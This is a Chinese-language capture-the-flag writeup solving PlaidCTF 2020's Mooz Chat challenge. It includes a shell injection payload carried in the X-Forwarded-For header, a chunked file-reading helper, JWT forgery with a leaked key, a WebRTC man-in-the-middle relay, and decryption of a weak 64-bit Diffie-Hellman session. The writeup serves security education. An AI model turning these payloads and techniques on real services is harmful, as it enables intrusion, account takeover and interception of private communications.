writeup
PlaidCTF2020 Mooz Chat 复盘
2020-06-08 11:02

01 前言

Part 1 (150 pts) —7 solves   pasten  A0E  Tea Deliverers

Part 2 (400 pts) — 1 solves   pasten

Part 1: Tom Nook and Isabelle have been exchanging text messages over Mooz recently. Is Tom Nook looking for something besides bells these days?

Part 2: Timmy and Tommy are now using Mooz to manage their store from a safe distance. Thankfully their video chats are end-to-end encrypted so nobody can steal their secrets.

知识点

Part1: 命令注入、JWT泄露

Part2:中间人攻击获取数据包、64 bit Diffie-Hellman (使用GFNS算法分解)

02 逆向部分

安装IDAGolangHelper插件

绑定的路由以及对应处理的handle

App_handleRequest(main_handleLogin, /api/login)

App_handleRequest(main_handleRegister, /api/register)

App_handleRequest(main_handleMessage, /api/message)

App_handleRequest(main_handleHost, /api/host)

App_handleRequest(main_handleFind, /api/find)

App_handleRequest(main_handleJoin, /api/join)

App_handleRequest(main_handleJoin, /api/profile)

App_handleRequest(main_handleAvatar, /api/avatar)

App_handleRequest(main_handleadminUsers, /api/adminusers)

App_handleRequest(main_handleAdminRooms, /api/rooms)

App_handleRequest(main_handleAdminMessages, /api/messages)

相关信息

https://github.com/sibears/IDAGolangHelper    // IDA GO插件

https://github.com/gorilla/mux  // 题目使用mux框架做路由

https://github.com/aiortc/aiortc   // 实现中间人所使用的库

aiortc的安装有点坑

https://en.wikipedia.org/wiki/General_number_field_sieve //GNFS求解离散对数算法

03 Part 1

漏洞点

在main_sandboxCmd中,存在执行命令的功能,且命令中部分内容可控,因此可以进行命令注入  

调用顺序

main_handleProfile  > main_getAvatar > main_sandboxCmd

在 main_getAvatar中有两处调用 main_sandboxCmd,是为了对Post的avatar内容进行处理,处理完的结果会base返回给用户

第一处为

convert -size %dx%d xc:none -bordercolor %s -border 0 -pointsize 32 -font %s -gravity center -draw "text 0,2 %c" png:- | base64 -w0

第二处为

base64 -d | convert -comment 'uploaded by %s' - -resize %dx%d png:- | base64 -w0

其中第二处的 uploaded by %s由 main_getIPAddr 获得,main_getIPAddr会从请求头中的  X-Forwarded-For取出,而X-Forwarded-For是我们可控的,因此只需要在X-Forwarded-For中进行注入即可

headers = {

        "X-Forwarded-For": "1.1.1.1' | echo $(%s | base64 -w0) MAGICMAGIC '" % command,

    }

该操作需要一个授权用户,因此需要先进行登录获取一个合法用户的token再命令注入

>>> print(run_command("ps").decode())

PID TTY      STAT   TIME COMMAND

    1 ?        SNs    0:00 /bin/sh -c base64 -d | convert -comment 'uploaded by 1.1.1.1' | echo $(ps ax | base64 -w0) MAGICMAGIC ', 89.xxxxxxxxx' - -resize 48x48 png:- | base64 -w0

    4 ?        SN     0:00 /bin/sh -c base64 -d | convert -comment 'uploaded by 1.1.1.1' | echo $(ps ax | base64 -w0) MAGICMAGIC ', 89.xxxxxxxxx' - -resize 48x48 png:- | base64 -w0

    5 ?        SN     0:00 base64 -w0

    6 ?        SN     0:00 /bin/sh -c base64 -d | convert -comment 'uploaded by 1.1.1.1' | echo $(ps ax | base64 -w0) MAGICMAGIC ', 89.xxxxxxxxx' - -resize 48x48 png:- | base64 -w0

    7 ?        RN     0:00 ps ax

    8 ?        RN     0:00 /bin/sh -c base64 -d | convert -comment 'uploaded by 1.1.1.1' | echo $(ps ax | base64 -w0) MAGICMAGIC ', 89.xxxxxxxxx' - -resize 48x48 png:- | base64 -w0

通过注入ps命令观察到,程序应该是跑在沙箱中的,后面发现是用nsjail启动的

>>> print(run_command("ls").decode()) 

bin

boot

dev

etc

home

lib

lib64

media

mnt

opt

proc

root

run

sbin

srv

start.sh

sys

tmp

usr

var

发现比较敏感的start.sh  , 需要分段读取start.sh,否则太大了

def read_file(file_name):

    d = b''

    index = 0

    while True:

        dd = run_command("dd if=%s bs=1 count=4096 skip=%d" % (file_name, index))

        if not dd:

            return d

        d += dd

        index += 4096

获取到 start.sh 的内容

#!/bin/bash

nginx

······

export JWT_KEY="Pl4idC7F2020"

······

获得JWT_KEY为Pl4idC7F2020,由题干中知道我们的目标是登录tomnook账户,看一下x-chat-authorization中的JWT组成


{

  "ipaddr": "xxx.xxx.xxx.xxx",

  "username": "xxx"

}

然后就可以构造出tomnook账户的token了

MY_IP = "your ip address"

JWT = "Pl4idC7F2020"

def get_messages():

    token = {'ipaddr': MY_IP, 'username': 'tomnook'}


    url = "https://chat.mooz.pwni.ng/api/messages"

    headers = {

        "x-chat-authorization": jwt.encode(token, JWT),

    }

    r=requests.get(url,proxies = proxies ,verify= False, headers=headers);


    assert r.status_code == 200

    return json.loads(r.text)

获得第一个flag

[······{u'to': u'tomnook', u'from': u'isabelle', u'data': u'pctf{aModestSumOfShells}'}]

04 Part 2

现在已经可以登录tomnook账户了,通过 /api/rooms获取房间列表

[{"_id": "000000000000000000000000", "host": "timmy_fc87dfa4", "room": "shop_c0ddd565"}, {"_id": "000000000000000000000000", "host": "timmy_446c2ede", "room": "shop_9415eba1"}]

可以观察到timmy一直在创建房间,每一次都用一个不同的后缀创建(后缀),查看一下前端webpack中chat.js创建房间和加入房间的逻辑

const rtcConfiguration = {

    iceServers: [

        { urls: 'turn:45.79.56.244', username: 'user', credential: 'passpass' }

    ]

}

const dataChannelInit = {

    negotiated: true,

    id: 0

}

······

async chatHost(room, password) {

    this.chatReset()

    try {

        this.connection = await this.createPeerConnection()

        this.channel = this.createDataChannel(this.connection)

        const offer = await this.connection.createOffer()

        await this.connection.setLocalDescription(offer)

        const data = await this.api.host(room, offer)

        this.room = data.room

        this.peer = data.username

        this.packetizer = this.newPacketizer(true, password || '')

        await this.connection.setRemoteDescription(data.answer)

        this.connected = true

        this.sendPendingCandidates()

        this.processPeerCandidates()

    } catch (e) {

        this.chatReset()

        console.log(e)

        return false

    }

    return true

}


async chatJoin(room, password) {

    this.chatReset()

    const data = await this.api.find(room)

    this.connection = await this.createPeerConnection()

    try {

        this.channel = this.createDataChannel(this.connection)

        this.room = data.room

        this.peer = data.username

        this.packetizer = this.newPacketizer(false, password || '')

        await this.connection.setRemoteDescription(data.offer)

        const answer = await this.connection.createAnswer()

        await this.connection.setLocalDescription(answer)

        await this.api.join(this.room, answer)

        this.connected = true

        this.sendPendingCandidates()

        this.processPeerCandidates()

    } catch (e) {

        this.chatReset()

        console.log(e)

        return false

    }

    return true

}

chatHost流程大致为创建WebRTC连接,创建Channel给其他用户发送ICE candidates消息,这些消息可以通过 /api/message获得,ICE candidates帮助建立端对端的连接,相当于一个 peer connection 列表

建议阅读一下:https://webrtc.org/getting-started/peer-connections

同样的,chatJoin也会发送类似的消息

[{"to":"a123123","from":"timmy_eb0e6172","type":"ice","data":"{\"candidate\":\"candidate:1876313031 1 tcp 1518091519 ::1 34945 typ host tcptype passive generation 0 ufrag 83oP network-id 5\",\"sdpMid\":\"0\",\"sdpMLineIndex\":0,\"foundation\":\"1876313031\",\"component\":\"rtp\",\"priority\":1518091519,\"address\":\"::1\",\"protocol\":\"tcp\",\"port\":34945,\"type\":\"host\",\"tcpType\":\"passive\",\"relatedAddress\":null,\"relatedPort\":null,\"usernameFragment\":\"83oP\"}"}]

通道建立以后,消息机制如下

async onOpenChannel() {

        console.log('open')


        if (this.peerConnected) {

            return

        }

        this.peerConnected = true


        this.channel.onmessage = (e) => {

            const wasReady = this.packetizer.isReady()

            const ptr = Module._malloc(e.data.byteLength)

            Module.HEAP8.set(new Uint8Array(e.data), ptr)

            this.packetizer.processData(ptr, e.data.byteLength)

            Module._free(ptr)


            this.flushPacketizer()

            if (this.packetizer) {

                if (this.packetizer.isReady() && !wasReady) {

                    this.currentPeer = this.peer

                    if (this.options.onPeerConnected) {

                        this.options.onPeerConnected()

                    }

                }


                const dataType = this.packetizer.getDataType()

                if (dataType >= 0) {

                    const dataPtr = this.packetizer.getData()

                    const dataSize = this.packetizer.getDataSize()

                    const data = new Uint8Array(Module.HEAP8.slice(dataPtr, dataPtr + dataSize))


                    switch (dataType) {

                    case 0:

                        if (this.options.onVideoData) {

                            this.options.onVideoData(data)

                        }

                        break

                    case 1:

                        if (this.options.onSecureMessage) {

                            const decoder = new TextDecoder()

                            this.options.onSecureMessage(this.peer, decoder.decode(data))

                        }

                        break

                    case 255:

                        this.disconnectPeer()

                        break

                    default:

                        console.error(`Unknown peer message: type=${dataType}, data=${data}`)

                        break

                    }

                }

            }

        }

        this.flushPacketizer()

    }


newPacketizer(hosting, password) {

        const rand = new Uint8Array(64)

        this.options.getRandomValues(rand)

        const randPtr = Module._malloc(rand.byteLength)

        Module.HEAP8.set(rand, randPtr)

        const nonce = hosting ? this.api.username + "\n" + this.peer : this.peer + "\n" + this.api.username

        const packetizer = new Module.Connection(hosting, nonce, password, randPtr, rand.byteLength)

        Module._free(randPtr)

        return packetizer

    }    

其中packetizer的具体实现再webassembly.wasm里,需要逆wasm

下载webassembly.wasm,要通过url下载,不要在f12里下载,用wasm2c转成c代码,编译后丢进IDA中,具体过程就不详细说了,网上很多资料

从wasm中提取出以下主要的方法,这些函数名也可以从f12里看到

Connection(host, nonce, password, seed, seed_size) // the constructor

processData(self, data, size)

sendData(self, type, data, size)

isRead(self)

isError(self)

getOutput(self)

consumeOutput(self)

getData(self)

getDataSize(self)

getDataType(self)

其中Packetizer的实例化过程中用到了几个参数

nonce 其构造格式为<hosting username>\n<peer username>

password 密钥

randPtr 随机种子

newPacketizer(hosting, password) {

    const rand = new Uint8Array(64)

    this.options.getRandomValues(rand)

    const randPtr = Module._malloc(rand.byteLength)

    Module.HEAP8.set(rand, randPtr)

    const nonce = hosting ? this.api.username + "\n" + this.peer : this.peer + "\n" + this.api.username

    const packetizer = new Module.Connection(hosting, nonce, password, randPtr, rand.byteLength)

    Module._free(randPtr)

    return packetizer

}

逆向wasm得到协议细节

// Connection__Connection_bool__char___char___void___unsigned_int_

Connection::Connection(...) {

    this->state = 0;

    RAND_seed(seed, seed_size);

    AES_set_encrypt_key(128, SHA1(password)[:16], nonce_encryptor);

    AES_encrypt(nonce, this->encrypted_nonce, nonce_encryptor);

    AES_encrypt(nonce+16, this->encrypted_nonce+16, nonce_encryptor);

    Connection::setup(this);

}


// Connection__setup__  

Connection::setup() {

    if (hosting) {

        // Create the first packet

        dh = DH_new();

        DH_generate_parameters_ex(dh, 64, 2, 0);

        dh_param_length = i2d_DHparams(dh, dh_param);

        DH_generate_key(dh);

        dh_pub_key = DH_get_pub_key(dh);

        write_byte_to_packet(0);

        write_word_to_packet(dh_param_length);

        write_bytes_to_packet(dh_param, dh_param_length);

        dh_pub_key_bits = BN_num_bits(dh_pub_key);

        write_word_to_packet((dh_pub_key_bits+7)/8);

        write_bytes_to_packet(dh_pub_key, (dh_pub_key_bits+7)/8);

    }

}


// Connection__processData_void_const___int_

Connection::processData(this, data, data_length) {

    packet_state = read_byte_from_packet();

    // check that packet_state == this->state

    switch (packet_state) {

    case 0: // initialize connection

        if (hosting) {

            // ...

        }

        else {

            // loads the dh params from packet

            DH_generate_key(dh);

            dh_pub_key = DH_get_pub_key(dh);

            write_byte_to_packet(0);

            dh_pub_key_bits = BN_num_bits(dh_pub_key);

            write_word_to_packet((dh_pub_key_bits+7)/8);

            write_bytes_to_packet(dh_pub_key, (dh_pub_key_bits+7)/8);

            DH_compute_key(shared_key, other_pub_key, dh); // 8 bytes

            key = SHA1("0123425234234fsdfsdr3242" + shared_key)[:16];

            AES_set_encrypt_key(128, key, this->send_encryptor);

            AES_set_decrypt_key(128, key, this->recv_decryptor);

            AES_encrypt(this->encrypted_nonce, encrypted_nonce, this->send_encryptor);

            write_bytes_to_packet(encrypted_nonce, 32);

            this->state = 1;

        }

        break;

    case 1:

        // not interseting, basically change to state to 2

        ...

    case 2: // connection ready

        this->data_type = read_byte_from_packet();

        this->data_len = read_word_from_packet();

        // decrypt the data with this->recv_decryptor

    }

}

其中建立连接的数据包格式

Host -> Client

BYTE - state - 0

WORD - DH parameters length

BYTE[] - DH parameters

WORD - DH public key length

BYTE[] - DH public key (for the connection key)

Client-> Host:

BYTE - state - 0

WORD - DH public key length

BYTE[] - DH public key (for the connection key)

BYTE[32] - encrypted nocne (with password and the connection key)

Host->Clinet:

BYTE - state - 1

传送数据

BYTE - state - 2

BYTE - data type (0 - video data, 1 - text message, 255 - disconnect)

WORD - data length

BYTE[] - data encrypted with the connection key

采用 64 bits 的DH来协商会话密钥,然而,64 bits DH的安全性太弱,可以使用GNFS算法来求解离散对数难题,如果我们能够获得timmy和tommy的通信数据,从中得到DH协商过程的参数,那么我们就可以使用NFS来求解离散对数

那么如何获取通信数据,就要靠中间人攻击了,说实话,MITM在CTF里还是比较少见

中间人攻击步骤

1.通过/api/rooms找到timmy创建的房间

2.通过 /api/join/<room_name> 加入房间 , 与 timmy建立WebRTC连接

3.通过 /api/host/<room_name> 建立与之前加入房间同名的房间,等待tommy加入 ,与 Tommy建立起WebRTC连接

4.通信并获取通信数据包

5.离线破解DH keys

6.解密AES加密的通信数据

注意到

*我们需要保证作为peer的中间人与作为host的中间人这两个通信的nonce是一样的,而nonce是由host和peer的username构成的,因此我们需要保证他们的名称相同。

*由于是p2p连接,因此当第二步加入房间以后,timmy建立的房间信息会消失,因此后面再建立一个同名房间是没有问题的

要实现中间人攻击需要用使用支持WebRTC协议的库,使用 aiortc来实现中间人攻击,主要逻辑为

*获取 rooms

*选择某个 timmy 建立的房间,比如timmy_abcdefgh

*用 tommy_abcdefgh 的身份加入房间

*使用 timmy_abcdefgh的身份再创建房间(有JWT_KEYS)

*假设作为peer加入房间的通信为 channel1,作为host创建的房间的通信为 channel2

*将channel1发来的数据转发给channel2,将channel2回应的数据转发给 channel1从而实现中间人的过程

得到数据(我已经按照协议细节用空格划分了一下)

H: b'00 0010 300e020900f142e55f240288a3020102 0008 3255cf918dd81e89'

C: b'00 0008 75781b2554f4927f baca5f08511f02c37ccef8515ff78c4f6b551247e6bb13841792d6b386b1f3a0'

H: b'01'

....

根据前面逆出来的协议,DH所使用的参数为

g=2

p=17384709708392335523

g**x=3627033298973761161

g**y = 8464545346795901567

64位的DH是可以使用 GNFS 算法来在合理的时间内破解的 ,全场唯一做出这道题的 pasten 使用了 GDLOG 来实现求解,相关的使用过程就不在这里赘述了,求解出x的值,由于DH中shared secret的值为 g**(x*y) mod p 所以,我们只需要计算 (g**y)**x mod p就可以得到shared secret

In [1]: hex(pow(gy, x, p))

Out[1]: '0x7c35faf0dad285c9'

然后解密

data = b''

aes = AES.new(hashlib.sha1(b"0123425234234fsdfsdr3242" + codecs.decode("7c35faf0dad285c9", "hex")).digest()[:16])

for packet in packets:

    state = packet[0]

    if state != 2:

        continue

    ptype, length = struct.unpack(">BH", packet[1:4])

    data += aes.decrypt(packet[4:])[:length]

open("video.webm", "wb").write(data)

得到一段timmy和tommy之间端对端的video chat,flag在图像里

pctf{TurnipFireSale}

04 总结

比赛的时候没来得及看这道题(看了也做不出来 :(  ,赛后复盘,觉得这道题目考察的能力比较综合,涉及到 Web + Re + Crypto ,而且中间人的点出在web里是比较新颖的一个点了。


CTF实验室 

http://hetianlab.com/pages/CTFLaboratory.jsp


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